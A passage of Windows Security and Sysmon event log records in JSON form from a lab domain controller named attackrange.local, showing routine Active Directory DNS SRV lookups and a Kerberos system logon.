11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2400,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.323\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00102F140200}\r\nProcessId: 2168\r\nQueryName: attackrange.local\r\nQueryStatus: 0\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\dns.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.323","ProcessGuid":"{90617006-3FE4-5F2D-0000-00102F140200}","QueryName":"attackrange.local","QueryStatus":"0","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\dns.exe","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221598,"ProcessID":860,"ThreadID":2272,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x41E05\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x41e05","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221599,"ProcessID":860,"ThreadID":2272,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x41E05\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t49711\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x41e05","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"49711","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2401,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.325\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.325","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2402,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.330\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.Default-First-Site-Name._sites.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.330","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.Default-First-Site-Name._sites.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2403,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.334\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.pdc._msdcs.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.334","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.pdc._msdcs.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2404,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.336\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.1a1420e2-98ff-4205-bf43-3003e1939ad5.domains._msdcs.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.336","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.1a1420e2-98ff-4205-bf43-3003e1939ad5.domains._msdcs.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2405,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.344\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: 062c97a2-6720-40cd-aa6f-32f2c424c35b._msdcs.attackrange.local.\r\nQueryStatus: 0\r\nQueryResults: type: 5 win-dc-9849183.attackrange.local;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.344","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"062c97a2-6720-40cd-aa6f-32f2c424c35b._msdcs.attackrange.local.","QueryStatus":"0","QueryResults":"type: 5 win-dc-9849183.attackrange.local;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2406,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.345\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _msdcs.attackrange.local.\r\nQueryStatus: 0\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.345","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_msdcs.attackrange.local.","QueryStatus":"0","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2407,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.348\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _msdcs.attackrange.local.\r\nQueryStatus: 0\r\nQueryResults: type: 2 win-dc-9849183.attackrange.local;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.348","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_msdcs.attackrange.local.","QueryStatus":"0","QueryResults":"type: 2 win-dc-9849183.attackrange.local;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2408,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.350\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.dc._msdcs.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.350","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.dc._msdcs.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2409,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.353\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.353","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2410,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.357\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.gc._msdcs.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.357","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.gc._msdcs.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2411,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.360\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.360","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2412,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.363\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: gc._msdcs.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.363","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"gc._msdcs.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2413,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.365\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _kerberos._tcp.dc._msdcs.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.365","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_kerberos._tcp.dc._msdcs.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2414,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.369\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.369","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2415,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.371\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _kerberos._tcp.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.371","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_kerberos._tcp.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2416,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.374\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _kerberos._tcp.Default-First-Site-Name._sites.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.374","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_kerberos._tcp.Default-First-Site-Name._sites.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 